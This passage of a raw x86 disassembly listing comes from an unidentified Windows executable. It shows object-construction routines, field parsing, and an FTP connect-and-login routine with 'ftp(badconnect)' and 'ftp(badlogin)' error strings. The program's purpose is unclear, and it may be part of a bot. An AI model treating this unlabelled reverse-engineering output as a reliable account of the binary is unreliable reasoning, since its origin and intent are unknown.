lea ecx, [esp+4Ch]
push 8
push ecx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C710 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C710
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_40142E
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_40142E
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_40142E
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_40142E
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_40142E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B4A
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C93C
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C64 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C8CC
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41C8CE
; ---------------------------------------------------------------------------
loc_41C8CC: ; CODE XREF: sub_41C710+1AFj
xor edi, edi
loc_41C8CE: ; CODE XREF: sub_41C710+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41C93C: ; CODE XREF: sub_41C710+C0j
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CABB
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C64 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41CA4B
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CA4D
; ---------------------------------------------------------------------------
loc_41CA4B: ; CODE XREF: sub_41C710+32Ej
xor edi, edi
loc_41CA4D: ; CODE XREF: sub_41C710+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41CABB: ; CODE XREF: sub_41C710+23Fj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CCF6
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C64 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016B8
push offset word_44955A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CC5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41CC5E: ; CODE XREF: sub_41C710+4D6j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CC86
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CC88
; ---------------------------------------------------------------------------
loc_41CC86: ; CODE XREF: sub_41C710+569j
xor edi, edi
loc_41CC88: ; CODE XREF: sub_41C710+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FDC
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CCF6: ; CODE XREF: sub_41C710+3BEj
lea ecx, [ebp+0BCh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CE9B
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CE0E
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CE10
; ---------------------------------------------------------------------------
loc_41CE0E: ; CODE XREF: sub_41C710+6F1j
xor edi, edi
loc_41CE10: ; CODE XREF: sub_41C710+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CE9B: ; CODE XREF: sub_41C710+5FCj
lea ecx, [ebp+118h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D040
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CFB3
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CFB5
; ---------------------------------------------------------------------------
loc_41CFB3: ; CODE XREF: sub_41C710+896j
xor edi, edi
loc_41CFB5: ; CODE XREF: sub_41C710+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41D040: ; CODE XREF: sub_41C710+7A1j
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D2A1
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016B8
push offset word_44955A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D1EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41D1EC: ; CODE XREF: sub_41C710+A64j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D214
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41D216
; ---------------------------------------------------------------------------
loc_41D214: ; CODE XREF: sub_41C710+AF7j
xor edi, edi
loc_41D216: ; CODE XREF: sub_41C710+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FDC
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013DE
loc_41D2A1: ; CODE XREF: sub_41C710+116j
; sub_41C710+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D312: ; CODE XREF: sub_41C710+549j
; sub_41C710+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C710 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_401B4Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D640 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D6D0 proc near ; CODE XREF: sub_4014BAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D6D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D770 proc near ; CODE XREF: sub_4021E9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D830: ; CODE XREF: ___:00401168j
; ___:loc_4019F6j
push esi
mov esi, ecx
call sub_4015CD
test byte ptr [esp+8], 1
jz short loc_41D848
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D848: ; CODE XREF: ___:0041D83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D860 proc near ; CODE XREF: sub_4015CDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D860 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D930 proc near ; CODE XREF: sub_401C94j
var_48 = dword ptr -48h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_10C = byte ptr 110h
arg_11C = byte ptr 120h
arg_12C = byte ptr 130h
arg_110C = dword ptr 1110h
arg_1110 = byte ptr 1114h
arg_112C = dword ptr 1130h
arg_1134 = dword ptr 1138h
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43C3F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_448F30
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41E035
lea ebx, [esi+65h]
push offset byte_448F30
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41E035
lea ecx, [esi+26h]
push offset byte_448F30
call sub_4012EE
test eax, eax
jz loc_41E035
mov al, [esi+91h]
test al, al
jz short loc_41D9D1
push offset byte_448F30
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D9C4
push offset byte_448F30
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D9D1
loc_41D9C4: ; CODE XREF: sub_41D930+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41E03D
; ---------------------------------------------------------------------------
loc_41D9D1: ; CODE XREF: sub_41D930+70j
; sub_41D930+92j
push offset asc_444C64 ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41DA5E
push offset asc_444C64 ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016B8
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41DA6F
loc_41DA5E: ; CODE XREF: sub_41D930+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41DA6F: ; CODE XREF: sub_41D930+12Cj
push offset asc_444C64 ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016B8
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FDC
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017EE
push eax
nop
call near ptr 2810000h
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015E1
mov al, [esi+91h]
test al, al
jz loc_41DC04
call sub_401E1F
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017EE
push eax
call sub_401A7D
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DB1C
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41E014
; ---------------------------------------------------------------------------
loc_41DB1C: ; CODE XREF: sub_41D930+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017EE
push eax
lea ecx, [esi+3Bh]
call sub_4017EE
push eax
call sub_402266
add esp, 0Ch
test eax, eax
jnz short loc_41DB73
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41E015
; ---------------------------------------------------------------------------
loc_41DB73: ; CODE XREF: sub_41D930+20Dj
